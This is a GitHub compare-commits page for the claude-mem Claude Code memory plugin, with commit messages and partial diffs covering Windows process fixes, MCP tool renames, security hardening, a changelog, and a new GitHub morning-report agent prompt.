Compare commits

...

55 Commits

Author SHA1 Message Date
Alex Newman 0fe0705133 chore: bump version to 7.3.5 (#375)
Co-authored-by: Claude <noreply@anthropic.com>
2025-12-17 14:54:13 -05:00
ToxMox a5bf653a47 fix(windows): solve zombie port problem with wrapper architecture (#372)
On Windows, Bun doesn't properly release socket handles when the worker
process exits, causing "zombie ports" that remain bound even after all
processes are dead. This required a system reboot to clear.

Solution: Introduce a wrapper process (worker-wrapper.cjs) that:
- Spawns the actual worker as a child with IPC channel
- On restart/shutdown, uses `taskkill /T /F` to kill the entire process tree
- Exits itself, allowing hooks to start fresh

The wrapper has no sockets, so Bun's socket cleanup bug doesn't affect it.
When the wrapper kills the inner worker tree and exits, the port is properly
released and can be immediately reused.

Key changes:
- New worker-wrapper.ts for Windows process lifecycle management
- ProcessManager starts wrapper on Windows, worker directly on Unix
- Worker sends IPC messages to wrapper for restart/shutdown
- Health endpoint now includes debug info (build ID, managed status, hasIpc)

Tested: Restart API now properly releases port and new worker binds to same port.

🤖 Generated with [Claude Code](https://claude.com/claude-code)

Co-authored-by: Claude Opus 4.5 <noreply@anthropic.com>
2025-12-17 14:45:41 -05:00
Alex Newman 1fec1e8339 chore: update mem-search.zip with latest changes 2025-12-16 22:17:58 -05:00
Alex Newman 1afb14d0d6 docs: update CHANGELOG.md for v7.3.4
🤖 Generated with [Claude Code](https://claude.com/claude-code)

Co-Authored-By: Claude Sonnet 4.5 <noreply@anthropic.com>
2025-12-16 22:09:13 -05:00
Alex Newman e961cd5a4a chore: bump version to 7.3.4
🤖 Generated with [Claude Code](https://claude.com/claude-code)

Co-Authored-By: Claude Sonnet 4.5 <noreply@anthropic.com>
2025-12-16 22:08:20 -05:00
Alex Newman 660c523ba4 fix: shorten MCP server name to prevent tool name length errors (#360)
* fix: shorten MCP server name to prevent tool name length errors (#358)

Root cause: Claude Code prefixes MCP tool names with
`mcp__plugin_{plugin-name}_{server-name}__` which was 43 chars
for `mcp__plugin_claude-mem_claude-mem-search__`. Combined with
`progressive_description` (22 chars) this exceeded the 64 char limit.

Changes:
- Shortened MCP server name from 'claude-mem-search' to 'mem-search'
  (saves 8 chars, new prefix is 35 chars)
- Renamed `progressive_description` tool to `help` (saves 18 chars)
- Updated SKILL.md to reference new `help` tool name
- Updated internal Server constructor name for consistency

All tool names now safely under 64 char limit:
- Longest is now `get_batch_observations` at 56 chars total
- `help` is only 39 chars total

Fixes #358

🤖 Generated with [Claude Code](https://claude.com/claude-code)

Co-Authored-By: Claude Sonnet 4.5 <noreply@anthropic.com>

* refactor: rename get_batch_observations to get_observations

The plural form naturally implies multiple items can be fetched,
following WordPress conventions. Simpler and clearer naming.

Also saves 6 additional characters for MCP tool name length.

🤖 Generated with [Claude Code](https://claude.com/claude-code)

Co-Authored-By: Claude Sonnet 4.5 <noreply@anthropic.com>

* docs: update all references to renamed MCP tools

Updated documentation and code comments to reflect:
- progressive_description → help
- get_batch_observations → get_observations

Files updated:
- docs/public/usage/claude-desktop.mdx
- docs/public/architecture/worker-service.mdx
- src/services/worker/FormattingService.ts

🤖 Generated with [Claude Code](https://claude.com/claude-code)

Co-Authored-By: Claude Sonnet 4.5 <noreply@anthropic.com>

---------

Co-authored-by: Claude Sonnet 4.5 <noreply@anthropic.com>
2025-12-16 22:06:24 -05:00
Alex Newman da30aedb28 docs: add Pro Features Architecture section to CLAUDE.md 2025-12-16 21:03:42 -05:00
Alex Newman 10e58ef221 chore: update plugin version to 7.3.3 and modify mem-search.zip 2025-12-16 18:02:10 -05:00
Alex Newman 5e97d539a5 docs: update CHANGELOG.md for v7.3.3
🤖 Generated with [Claude Code](https://claude.com/claude-code)

Co-Authored-By: Claude Opus 4.5 <noreply@anthropic.com>
2025-12-16 18:01:56 -05:00
Alex Newman fdb4fafd3a chore: bump version to 7.3.3
🤖 Generated with [Claude Code](https://claude.com/claude-code)

Co-Authored-By: Claude Opus 4.5 <noreply@anthropic.com>
2025-12-16 18:01:03 -05:00
Alex Newman db3794762f chore: remove all better-sqlite3 references from codebase (#357)
* fix: export/import scripts now use API instead of direct DB access

Export script fix:
- Add format=json parameter to SearchManager for raw data output
- Add getSdkSessionsBySessionIds method to SessionStore
- Add POST /api/sdk-sessions/batch endpoint to DataRoutes
- Refactor export-memories.ts to use HTTP API

Import script fix:
- Add import methods to SessionStore with duplicate detection
- Add POST /api/import endpoint to DataRoutes
- Refactor import-memories.ts to use HTTP API

🤖 Generated with [Claude Code](https://claude.com/claude-code)

Co-Authored-By: Claude Opus 4.5 <noreply@anthropic.com>

* fix: update analyze-transformations-smart.js to use bun:sqlite

Replace better-sqlite3 import with bun:sqlite to align with v7.1.0 migration.

* chore: remove all better-sqlite3 references from codebase

- Updated scripts/analyze-transformations-smart.js to use bun:sqlite
- Merged PR #332: Refactored import/export scripts to use worker API instead of direct DB access
- Updated PM2-to-Bun migration documentation

All better-sqlite3 references have been removed from source code.
Documentation references remain as appropriate historical context.

* build: update plugin artifacts with merged changes

Include built artifacts from PR #332 merge and analyze-transformations-smart.js update.

---------

Co-authored-by: lee <loyalpartner@163.com>
Co-authored-by: Claude Opus 4.5 <noreply@anthropic.com>
2025-12-16 17:57:40 -05:00
Alex Newman 78cb5c38dc Remove outdated documentation files related to Claude-Mem hooks cleanup, PR #335 review summary, and Windows worker struggles. These files contained obsolete information and action items that are no longer relevant to the current project state. 2025-12-16 17:19:23 -05:00
Alex Newman 5e6feb0cb4 docs: update CHANGELOG.md for v7.3.2
🤖 Generated with [Claude Code](https://claude.com/claude-code)

Co-Authored-By: Claude Sonnet 4.5 <noreply@anthropic.com>
2025-12-16 17:07:19 -05:00
Alex Newman 19b657bb67 chore: bump version to 7.3.2
🤖 Generated with [Claude Code](https://claude.com/claude-code)

Co-Authored-By: Claude Sonnet 4.5 <noreply@anthropic.com>
2025-12-16 17:06:09 -05:00
Alex Newman fe81286d9a Merge branch 'fix/windows-console-popups' 2025-12-16 17:05:05 -05:00
Alex Newman 426fbdd38d Merge main into fix/windows-console-popups
Resolved conflicts in built files by rebuilding

🤖 Generated with [Claude Code](https://claude.com/claude-code)

Co-Authored-By: Claude Sonnet 4.5 <noreply@anthropic.com>
2025-12-16 17:04:48 -05:00
Alex Newman bd7077d65f fix: add PowerShell string escaping for security best practices
Adds proper PowerShell escaping to prevent theoretical command injection
in Start-Process arguments on Windows.

Security Context:
- All paths (bunPath, script, MARKETPLACE_ROOT) are application-controlled
- Not user input - derived from system paths and installation directories
- If attacker could modify these, they already have filesystem access
- This includes direct access to ~/.claude-mem/claude-mem.db
- Nevertheless, proper escaping follows security best practices

Changes:
- Added escapePowerShellString() helper for PowerShell single-quote escaping
- Escapes all path arguments before PowerShell command construction
- Added security context comment explaining threat model

Fixes: Security concern raised in PR #339 review

🤖 Generated with [Claude Code](https://claude.com/claude-code)

Co-Authored-By: Claude Sonnet 4.5 <noreply@anthropic.com>
2025-12-16 17:04:20 -05:00
Alex Newman 11cc789afa docs: update CHANGELOG.md for v7.3.1
🤖 Generated with [Claude Code](https://claude.com/claude-code)

Co-Authored-By: Claude Sonnet 4.5 <noreply@anthropic.com>
2025-12-16 16:48:12 -05:00
Alex Newman e930a4d5bb chore: bump version to 7.3.1
🤖 Generated with [Claude Code](https://claude.com/claude-code)

Co-Authored-By: Claude Sonnet 4.5 <noreply@anthropic.com>
2025-12-16 16:46:37 -05:00
Alex Newman bcd4a12115 Merge backup/phase1-agent-work: Issue #353 fix and pending messages cleanup
This merge brings in the complete fix for issue #353 (observations not being saved)
and implements proper cleanup logic for the pending_messages table.

Key changes:
- Pending messages persistence (accidentally half-merged from PR #335, kept as valuable)
- Security fixes for command injection in BranchManager and bun-path
- Pending messages cleanup logic to prevent unbounded database growth
- Batch observations test suite (7/7 passing)

The pending messages feature provides:
- Database-backed persistent queue for SDK messages
- Recovery from worker crashes and SDK hangs
- Automatic cleanup (keeps 100 most recent processed messages)
- Content clearing after observations are saved (NULL tool_input/tool_response)

Files modified:
- PendingMessageStore.ts: Added cleanup logic with count-based retention
- SDKAgent.ts: Added periodic cleanup calls
- SessionManager.ts: Queue integration
- BranchManager.ts: Command injection fix
- bun-path.ts: Shell injection fix

Tests:
- tests/happy-paths/batch-observations.test.ts (NEW)
- tests/security/command-injection.test.ts (NEW)

🤖 Generated with [Claude Code](https://claude.com/claude-code)

Co-Authored-By: Claude Sonnet 4.5 <noreply@anthropic.com>
2025-12-16 16:45:42 -05:00
Alex Newman d6cd9e6059 fix: implement pending_messages cleanup to prevent unbounded growth
Fixes #353 - Observations not being saved due to incomplete pending messages implementation

Changes:
- PendingMessageStore.markProcessed() now clears tool_input and tool_response
- PendingMessageStore.cleanupProcessed() changed from time-based to count-based retention
- Keeps most recent 100 processed messages for UI display
- SDKAgent.processSDKResponse() calls cleanup after marking messages processed

This prevents the database from growing unbounded with duplicate transcript data.
The pending_messages table now only stores full transcripts for pending/processing
messages, while processed messages keep metadata only.

🤖 Generated with [Claude Code](https://claude.com/claude-code)

Co-Authored-By: Claude Sonnet 4.5 <noreply@anthropic.com>
2025-12-16 16:45:04 -05:00
Alex Newman f7c0840a35 Merge main (v7.3.0) into backup/phase1-agent-work 2025-12-16 16:18:34 -05:00
Copilot 0135fcb6b1 Fix Mintlify dev command path in README.md (#320)
* Initial plan

* Fix incorrect Mintlify dev command path in README.md

Co-authored-by: thedotmack <683968+thedotmack@users.noreply.github.com>

---------

Co-authored-by: copilot-swe-agent[bot] <198982749+Copilot@users.noreply.github.com>
Co-authored-by: thedotmack <683968+thedotmack@users.noreply.github.com>
2025-12-16 15:54:50 -05:00
Alex Newman 7ae4eb87e6 docs: update CHANGELOG.md for v7.3.0 2025-12-16 15:48:57 -05:00
Alex Newman 79789bb558 Merge branch 'feature/mem-search-enhancements' for v7.3.0 release 2025-12-16 15:47:18 -05:00
Alex Newman 282345f379 backup: Phase 1 agent work (security, persistence, batch endpoint)
This is a backup of all work done by the 3 Phase 1 agents:

Agent A - Command Injection Fix (Issue #354):
- Fixed command injection in BranchManager.ts
- Fixed unnecessary shell usage in bun-path.ts
- Added comprehensive security test suite
- Created SECURITY.md and SECURITY_AUDIT_REPORT.md

Agent B - Observation Persistence Fix (Issue #353):
- Added PendingMessageStore from PR #335
- Integrated persistent queue into SessionManager
- Modified SDKAgent to mark messages complete
- Updated SessionStore with pending_messages migration
- Updated worker-types.ts with new interfaces

Agent C - Batch Endpoint Verification (Issue #348):
- Created batch-observations.test.ts
- Updated worker-service.mdx documentation

Also includes:
- Documentation context files (biomimetic, windows struggles)
- Build artifacts from agent testing

This work will be re-evaluated after v7.3.0 release.
2025-12-16 15:44:06 -05:00
Alex Newman 23591db589 fix: Windows console popup issue using PowerShell workaround
Fixes blank console windows appearing on Windows 11 when spawning the worker process.

## Problem

On Windows, `windowsHide: true` doesn't work when combined with `detached: true` in child_process.spawn().
This is a Node.js limitation (nodejs/node#21825) that **Bun also inherits** because Bun uses Node.js process spawning semantics.

Result: Blank console windows with "claude" title appear during claude-mem operations.

## Solution

Use PowerShell's `Start-Process -WindowStyle Hidden` on Windows to properly hide console windows.
Unix platforms continue using standard `spawn()` with `detached: true`.

## Testing

Validated by ToxMox on Windows 11 in PR #315:
- windowsHide approach:  Still shows blank consoles
- PowerShell approach:  Properly hides windows

## Implementation

```typescript
// Windows: PowerShell workaround
Start-Process -FilePath 'bun' -ArgumentList '${script}' -WindowStyle Hidden

// Unix: Standard spawn (works fine)
spawn(bunPath, [script], { detached: true })
```

## Notes

- Affects BOTH Bun and Node.js runtimes on Windows
- This is a **high-priority fix** for Windows users
- Keeps Bun runtime (doesn't address zombie socket issue)
- Zombie socket issue is separate and requires different solution

## References

- Issue: #304 (Multiple visible console windows on Windows 11)
- Testing: PR #315 (ToxMox's detailed analysis)
- Node.js bug: nodejs/node#21825
- Extracted from: PR #335

🤖 Generated with [Claude Code](https://claude.com/claude-code)

Co-Authored-By: Claude Sonnet 4.5 <noreply@anthropic.com>
2025-12-15 23:13:21 -05:00
Alex Newman 2e919df2b4 chore: bump version to 7.2.4 2025-12-15 18:35:18 -05:00
Alex Newman 75cd1335cc docs: update CHANGELOG.md for v7.2.4 2025-12-15 18:34:52 -05:00
Alex Newman cd103ccf73 chore: bump version to 7.2.4
Update endless mode setup instructions with improved configuration guidance.

🤖 Generated with [Claude Code](https://claude.com/claude-code)

Co-Authored-By: Claude Sonnet 4.5 <noreply@anthropic.com>
2025-12-15 18:33:54 -05:00
Alex Newman d0ff9738eb Refactor ContextSettingsModal and remove Sidebar component
- Removed MCP toggle state and related logic from ContextSettingsModal.
- Eliminated the Sidebar component entirely, consolidating its functionality elsewhere.
- Cleaned up unused imports and effects related to MCP status fetching and toggling.
2025-12-15 18:32:25 -05:00
Alex Newman 00c1cd7db7 docs: update token savings to token efficiency and add endless mode documentation 2025-12-15 18:25:54 -05:00
Alex Newman 1e091b8871 docs: remove token savings mention from mem-search skill description 2025-12-15 18:23:24 -05:00
Alex Newman 1295b98fcc docs: update beta features documentation with important caveats and projected results 2025-12-15 17:27:03 -05:00
Alex Newman 7375c11ecd docs: update CHANGELOG.md for v7.2.3
🤖 Generated with [Claude Code](https://claude.com/claude-code)

Co-Authored-By: Claude Opus 4.5 <noreply@anthropic.com>
2025-12-14 23:39:43 -05:00
Alex Newman 47cb403889 fix: add pre-restart delay to prevent MCP server failures on plugin updates
Add 2-second delay before worker restart in ensureWorkerVersionMatches() to
give files time to sync. Fixes issue where MCP server would fail after plugin
updates because restart happened too quickly.

🤖 Generated with [Claude Code](https://claude.com/claude-code)

Co-Authored-By: Claude Opus 4.5 <noreply@anthropic.com>
2025-12-14 23:38:40 -05:00
Alex Newman a6737c122f docs: update CHANGELOG.md for v7.2.2
🤖 Generated with [Claude Code](https://claude.com/claude-code)

Co-Authored-By: Claude Opus 4.5 <noreply@anthropic.com>
2025-12-14 22:56:24 -05:00
Alex Newman e5aa60b742 chore: update version to 7.3.0 in package.json 2025-12-14 22:03:10 -05:00
Alex Newman d9133465eb chore: bump version to 7.3.0 2025-12-14 22:00:54 -05:00
Alex Newman 3f5c61c327 refactor: simplify CHANGELOG - remove cost documentation
Removed model cost comparison documentation per user feedback.
Kept only the technical code quality improvements.

🤖 Generated with [Claude Code](https://claude.com/claude-code)

Co-Authored-By: Claude Sonnet 4.5 <noreply@anthropic.com>
2025-12-14 21:44:42 -05:00
Alex Newman ace12f8cd7 fix: address PR #317 code review feedback
**Critical Fixes:**
- Replace happy_path_error__with_fallback debug calls with proper logger methods in mcp-server.ts
- All HTTP API calls now use logger.debug/error for consistent logging

**Code Quality Improvements:**
- Extract 90-day recency window magic numbers to named constants
- Added RECENCY_WINDOW_DAYS and RECENCY_WINDOW_MS constants in SearchManager

**Documentation:**
- Document model cost implications of Haiku → Sonnet upgrade in CHANGELOG
- Provide clear migration path for users who want to revert to Haiku

🤖 Generated with [Claude Code](https://claude.com/claude-code)

Co-Authored-By: Claude Sonnet 4.5 <noreply@anthropic.com>
2025-12-14 21:40:23 -05:00
Alex Newman 9d509e07f5 Merge branch 'main' into feature/mem-search-enhancements
Resolved conflicts in built files by rebuilding from merged source.
All plugin/scripts files regenerated from current source code.

🤖 Generated with [Claude Code](https://claude.com/claude-code)

Co-Authored-By: Claude Sonnet 4.5 <noreply@anthropic.com>
2025-12-14 21:33:55 -05:00
Alex Newman 305e52010c fix: move skillPath declaration outside try block to fix scoping bug
The skillPath variable was declared inside the try block but referenced
in the catch block for error logging. Since const is block-scoped, this
would cause a ReferenceError when the error handler executes.

Moved skillPath declaration before the try block so it's accessible in
both try and catch scopes.

🤖 Generated with [Claude Code](https://claude.com/claude-code)

Co-Authored-By: Claude Sonnet 4.5 <noreply@anthropic.com>
2025-12-14 21:33:07 -05:00
Alex Newman 6dd13c00ba Refactor session summary rendering to remove links
- Removed link generation for session summaries in context generation and search manager.
- Updated output formatting to exclude links while maintaining the session summary structure.
- Adjusted related components in TimelineService to ensure consistency across the application.
2025-12-14 21:05:14 -05:00
Alex Newman 8703e0ee13 refactor: remove redundant legend from search output
Remove legend from search/timeline results since it's already shown
in SessionStart context. Saves ~30 tokens per search result.

🤖 Generated with [Claude Code](https://claude.com/claude-code)

Co-Authored-By: Claude Sonnet 4.5 <noreply@anthropic.com>
2025-12-14 20:55:50 -05:00
Alex Newman 9bac3faae9 feat: unify timeline formatting across search and context services
Extract shared timeline formatting utilities into reusable module to align
MCP search output format with context-generator's date/file-grouped format.

Changes:
- Create src/shared/timeline-formatting.ts with reusable utilities
  (parseJsonArray, formatDateTime, formatTime, formatDate, toRelativePath,
  extractFirstFile, groupByDate)
- Refactor context-generator.ts to use shared utilities
- Update SearchManager.search() to use date/file grouping
- Add search-specific row formatters to FormattingService
- Fix timeline methods to extract actual file paths from metadata
  instead of hardcoding 'General'
- Remove Work column from search output (kept in context output)

Result: Consistent date/file-grouped markdown formatting across both
systems while maintaining their different column requirements.

🤖 Generated with [Claude Code](https://claude.com/claude-code)

Co-Authored-By: Claude Sonnet 4.5 <noreply@anthropic.com>
2025-12-14 20:54:32 -05:00
Alex Newman 7ef93343a4 chore: change default model from haiku to sonnet
🤖 Generated with [Claude Code](https://claude.com/claude-code)

Co-Authored-By: Claude Opus 4.5 <noreply@anthropic.com>
2025-12-14 20:20:23 -05:00
Alex Newman f07eb17a33 Refactor code structure for improved readability and maintainability 2025-12-14 20:13:48 -05:00
Alex Newman b97579dfec refactor: update documentation and API references for version bump and search functionalities 2025-12-14 20:12:39 -05:00
Alex Newman 2ec72f948d Refactor FormattingService and SearchManager for table-based output
- Updated FormattingService to format search results as tables, including methods for formatting observations, sessions, and user prompts.
- Removed JSON format handling from SearchManager and streamlined result formatting to consistently use table format.
- Enhanced readability and consistency in search tips and formatting logic.
- Introduced token estimation for observations and improved time formatting.
2025-12-14 19:48:53 -05:00
Alex Newman b45e8b2a29 Merge remote-tracking branch 'refs/remotes/origin/feature/mem-search-enhancements' into feature/mem-search-enhancements 2025-12-14 19:24:01 -05:00
Alex Newman 29e6441d32 Refactor mem-search documentation and optimize API tool definitions
- Updated SKILL.md to emphasize batch fetching for observations, clarifying usage and efficiency.
- Removed deprecated tools from mcp-server.ts and streamlined tool definitions for clarity.
- Enhanced formatting in FormattingService.ts for better output readability.
- Adjusted SearchManager.ts to improve result headers and removed unnecessary search tips from combined text.
2025-12-14 19:23:48 -05:00
claude[bot] 445ee723c2 docs: reframe timeline parameter fix as bug fix, not breaking change
The timeline tools were completely broken due to parameter name mismatch.
There's nothing to migrate from since the old parameters never worked.

Co-authored-by: Alex Newman <thedotmack@users.noreply.github.com>
2025-12-14 23:43:57 +00:00
Alex Newman 01e235c058 feat!: Fix timeline parameter passing with SearchManager alignment
BREAKING CHANGE: Timeline MCP tools now use standardized parameter names
- anchor_id → anchor
- before → depth_before
- after → depth_after
- obs_type → type (timeline tool only)

Fixes timeline endpoint failures caused by parameter name mismatch between
MCP layer and SearchManager. Adds new SessionStore methods for fetching
prompts and session summaries by ID.

🤖 Generated with [Claude Code](https://claude.com/claude-code)

Co-Authored-By: Claude Sonnet 4.5 <noreply@anthropic.com>
2025-12-14 18:36:10 -05:00
Alex Newman fad2dc9a15 feat: Add batch fetching for observations and update documentation
- Implemented a new endpoint for fetching multiple observations by IDs in a single request.
- Updated the DataRoutes to include a POST /api/observations/batch endpoint.
- Enhanced SKILL.md documentation to reflect changes in the search process and batch fetching capabilities.
- Increased the default limit for search results from 5 to 40 for better usability.
2025-12-14 16:21:25 -05:00
74 changed files with 3692 additions and 5917 deletions
+1 -1
View File
@@ -10,7 +10,7 @@
"plugins": [
{
"name": "claude-mem",
"version": "7.2.2",
"version": "7.3.5",
"source": "./plugin",
"description": "Persistent memory system for Claude Code - context compression across sessions"
}
+101
View File
@@ -0,0 +1,101 @@
---
name: github-morning-reporter
description: Use this agent when the user requests a morning report, daily summary, or overview of their GitHub activity. Trigger phrases include 'morning report', 'github report', 'daily github summary', 'what's happening on github', or 'check my github status'. This agent should be used proactively when the user starts their day or explicitly asks for repository updates.\n\nExamples:\n- User: "get me my morning github report"\n Assistant: "I'll use the github-morning-reporter agent to generate your comprehensive GitHub status report."\n <uses Agent tool to invoke github-morning-reporter>\n\n- User: "what's new on my repos today?"\n Assistant: "Let me pull together your GitHub morning report using the github-morning-reporter agent."\n <uses Agent tool to invoke github-morning-reporter>\n\n- User: "show me my daily github summary"\n Assistant: "I'll generate your daily GitHub summary using the github-morning-reporter agent."\n <uses Agent tool to invoke github-morning-reporter>
model: sonnet
---
You are an elite GitHub project analyst specializing in delivering actionable morning reports for software development teams. Your expertise lies in synthesizing complex repository activity into clear, prioritized insights that help developers start their day with complete situational awareness.
## Your Responsibilities
1. **Fetch Comprehensive GitHub Data**: Use available tools to retrieve:
- Open issues across all relevant repositories
- Open pull requests with review status
- Recent comments, mentions, and @-references
- CI/CD status for active PRs
- Stale issues/PRs (no activity in 7+ days)
2. **Intelligent Grouping and Deduplication**:
- Identify duplicate or highly similar issues by analyzing titles, descriptions, and labels
- Group related issues by theme, component, or subsystem
- Cluster PRs by feature area or dependency relationships
- Flag issues that may be addressing the same root cause
- Use semantic similarity, not just exact matches
3. **Prioritization and Triage**:
- Highlight items requiring immediate attention (blocking issues, failed CI, requested reviews)
- Surface items awaiting your direct action (assigned to you, mentions, review requests)
- Identify stale items that may need follow-up or closure
- Note high-priority labels (P0, critical, security, etc.)
4. **Contextual Analysis**:
- Summarize the current state of each PR (draft, ready for review, approved, changes requested)
- Identify PRs with merge conflicts or failing checks
- Note issues with recent activity spikes or community engagement
- Flag dependency updates or security advisories
5. **Report Structure**:
Your report must follow this format:
**MORNING GITHUB REPORT - [Date]**
**🚨 REQUIRES YOUR ATTENTION**
- Items explicitly assigned to the user
- Review requests awaiting user's approval
- Mentions or direct questions
- Blocking/critical issues
**📊 PULL REQUESTS ([count] open)**
- Group by: Ready to Merge | In Review | Draft | Needs Work
- For each PR: title, author, status, CI state, review count, age
- Highlight conflicts or failed checks
**🐛 ISSUES ([count] open)**
- Group by: Priority | Component | Theme
- Mark potential duplicates clearly
- Note new issues (created in last 24h)
- Flag stale issues (no activity in 7+ days)
**📈 ACTIVITY SUMMARY**
- New issues/PRs since yesterday
- Recently closed items
- Top contributors
- Trending topics or labels
**💡 RECOMMENDED ACTIONS**
- Specific next steps based on the data
- Suggestions for cleanup (closing duplicates, merging ready PRs)
- Items to follow up on
6. **Quality Standards**:
- Use clear, scannable formatting with emojis for visual hierarchy
- Include direct links to all referenced issues and PRs
- Keep summaries concise but informative (1-2 sentences per item)
- Use relative timestamps ("2 hours ago", "3 days old")
- Highlight actionable items with clear CTAs
7. **Error Handling**:
- If repository access fails, explicitly state which repos couldn't be accessed
- If no issues/PRs exist, provide a positive "all clear" message
- If rate limits are hit, show partial results with a warning
- Always attempt to provide value even with incomplete data
8. **Adaptive Scope**:
- If the user has access to multiple repositories, intelligently scope the report:
- Default to repositories with recent activity
- Allow user to specify repos if needed
- Group multi-repo items by repository
- Adjust detail level based on volume (more items = more concise summaries)
## Output Expectations
Your report should be:
- **Comprehensive**: Cover all relevant activity without overwhelming detail
- **Actionable**: Make it clear what needs attention and why
- **Scannable**: Use formatting that allows quick visual parsing
- **Contextual**: Provide enough background to make decisions
- **Timely**: Focus on recent activity and current state
When you cannot find specific data, state this explicitly rather than omitting sections. If the user's query is ambiguous (e.g., which repositories to scan), ask for clarification before proceeding.
Always end with a summary line indicating the report's completeness (e.g., "Report complete: 3 repositories scanned, 12 issues, 5 PRs analyzed").
-167
View File
@@ -1,167 +0,0 @@
# Action Plan: Issues & PRs Cleanup
Generated: 2025-12-12
## Phase 1: Immediate Cleanup (Today)
### Close Obsolete PRs
- [ ] **#255** - Close PR "Fix PM2 worker MODULE_NOT_FOUND"
- Reason: v7.1.0 removed PM2 entirely, this fix is no longer relevant
- Comment: Explain that v7.1.0 migration to Bun eliminated PM2 dependency
- [ ] **#206** - Close or request update on "Harden worker startup"
- Reason: Contains PM2-specific code that no longer exists
- Comment: Ask author if they want to update for Bun architecture, otherwise close as obsolete
### Close/Update Fixed Issues
- [ ] **#213** - Comment and close "Windows endless process spawning"
- Reason: v7.1.0 Bun migration eliminated PM2 process management
- Comment: Ask user to verify fix on v7.1.0, explain PM2 removal resolved issue
- [ ] **#229** - Close as duplicate
- Reason: Duplicate of #227 (upstream Claude Code bug)
- Comment: Direct to #227 for full details and workaround
- [ ] **#211** - Answer and close "Cursor IDE support question"
- Reason: Product question, not a bug report
- Comment: Explain focus is Claude Code, but plugin architecture may allow future expansion
### Critical Bug Follow-Up
- [ ] **#254** - Follow up on "Worker API fetch failed"
- Current status: Asked about PM2 logs (pre-v7.1.0 comment)
- Action: Update comment asking:
- What version of claude-mem are you running?
- If pre-v7.1.0: Please upgrade to v7.1.0 which fixes PM2 issues
- If v7.1.0+: Run troubleshoot skill and share logs
## Phase 2: High-Priority Merges (This Week)
### Security & Critical Fixes
- [ ] **#236** - Review and merge "Localhost-only binding" 🔒 PRIORITY
- Impact: Security improvement (fixes network exposure)
- Status: 156 additions, all tests pass (42/42)
- Action: Final review, merge, update CHANGELOG
- [ ] **#212** - Review and merge "Windows path quoting fix"
- Impact: Fixes Windows usernames with spaces
- Status: 6 lines changed, minimal risk
- Action: Quick cross-platform test, merge
### Major Features (Maintainer-Authored)
- [ ] **#225** - Review and merge "Export/Import scripts"
- Impact: Enables backup/restore, partially addresses #233
- Status: 927 additions, extensively tested by maintainer
- Action: Final review, merge, update docs
- [ ] **#250** - Review and merge "README translations"
- Impact: International user onboarding (22 languages)
- Status: 10,209 additions (massive but low-risk)
- Action: Spot-check a few translations, merge
### User-Requested Features
- [ ] **#252** - Test and merge "Execution traces" (addresses #194)
- Impact: Shows tools/skills/MCPs in UI bubbles
- Status: 383 additions, comprehensive implementation
- Action: Test database migration, API endpoints, UI display
- [ ] **#251** - Test and merge "Plan file context" (addresses #180)
- Impact: Injects last plan file into context
- Status: 85 additions, follows existing patterns
- Action: Test with real plan files, verify toggle works
## Phase 3: Review & Consider (Next Week)
### Quality Enhancements
- [ ] **#230** - Review "Multi-language support" (addresses #228)
- Impact: Observations/summaries in user's language
- Status: 157 additions, Korean screenshot provided
- Action: Review prompt changes carefully, test with multiple languages
- [ ] **#226** - Review "CLAUDE_CONFIG_DIR support"
- Impact: Supports non-standard Claude installations
- Status: 10 additions, minimal change
- Action: Test with custom config directory, merge if working
### Developer Experience
- [ ] **#216** - Review "Makefile shortcuts"
- Impact: DX improvement for contributors
- Status: 1,085 additions
- Priority: Low (not urgent)
- Action: Review when time permits
## Phase 4: Issue Follow-Ups (Ongoing)
### Awaiting User Verification
- [ ] **#209** - Follow up if no response on Windows worker startup
- Status: Already commented asking for v7.1.0 verification
- Action: Close if verified fixed, or investigate if still broken
- [ ] **#231** - Follow up if no response on module resolution
- Status: Already commented asking for v7.1.0 verification
- Action: Close if verified fixed, or investigate if still broken
### Upstream Bugs (Keep Open)
- [ ] **#227** - Keep open as documented upstream bug
- Reason: Claude Code CLI uses invalid Windows paths
- Action: No action needed, workaround documented
### Active Bugs (Investigate)
- [ ] **#208** - Investigate "Windows console windows appearing"
- Priority: Medium (cosmetic but annoying)
- Action: Reproduce on Windows, identify root cause
## Phase 5: Future Feature Planning
### Feature Requests Without PRs
- [ ] **#240** - Plan "Move MCP scaffolding to separate file"
- Type: Internal refactoring
- Priority: Low
- Action: Design approach when time permits
- [ ] **#239** - Plan "Track git branch as metadata"
- Type: Context enhancement
- Priority: Medium
- Action: Design schema changes, discuss approach
- [ ] **#215** - Plan "PreCompact event hook"
- Type: Power user feature
- Priority: Low
- Action: Evaluate use cases, design API
- [ ] **#233** - Plan "Multi-device sync" (partial solution exists)
- Type: Major feature
- Note: PR #225 provides export/import, full sync is more complex
- Action: Determine if export/import is sufficient, or plan cloud sync
## Summary
### Quick Wins (Do Today)
- Close 2 obsolete PRs (#255, #206)
- Close 3 resolved/duplicate issues (#213, #229, #211)
- Follow up on critical bug (#254)
### High-Impact Merges (This Week)
- Merge security fix (#236)
- Merge 2 simple fixes (#212, #225)
- Merge 2 major features (#250, #252, #251)
### Expected Impact
- **Security**: Localhost-only by default
- **Functionality**: Export/import, execution traces, plan context
- **UX**: Multi-language support, Windows fixes
- **Clarity**: Clean backlog, remove PM2 confusion
---
**Next Review**: After Phase 2 completion, reassess remaining items
+135 -22
View File
@@ -4,32 +4,145 @@ All notable changes to this project will be documented in this file.
The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/).
## [8.0.0] - 2025-12-14
## [7.3.4] - 2025-12-17
### Fixed
Patch release for bug fixes and minor improvements
**Timeline MCP Tools Parameter Bug**
## [7.3.3] - 2025-12-16
Fixed critical bug where timeline tools were completely non-functional due to parameter name mismatch between MCP layer and SearchManager. The tools now use correct parameter names:
- `anchor` (was incorrectly `anchor_id`)
- `depth_before` (was incorrectly `before`)
- `depth_after` (was incorrectly `after`)
- `type` (was incorrectly `obs_type` in timeline tool only)
## What's Changed
**Affected Tools:** `timeline`, `get_context_timeline`, `get_timeline_by_query`
- Remove all better-sqlite3 references from codebase (#357)
**Impact:** These tools were previously broken and would fail with "Cannot read properties of undefined (reading 'length')" errors. They now work correctly with the proper parameter names that match the underlying SearchManager implementation.
**Full Changelog**: https://github.com/thedotmack/claude-mem/compare/v7.3.2...v7.3.3
### Added
- New `get_batch_observations` MCP tool for efficiently fetching multiple observations in a single request
- Enhanced SessionStore methods for fetching prompts and session summaries by ID
## [7.3.2] - 2025-12-16
### Changed
- Extracted magic numbers to constants (`RECENCY_WINDOW_DAYS`, `RECENCY_WINDOW_MS`)
- Replaced debug logging calls with proper logger methods
## 🪟 Windows Console Fix
Fixes blank console windows appearing for Windows 11 users during claude-mem operations.
### What Changed
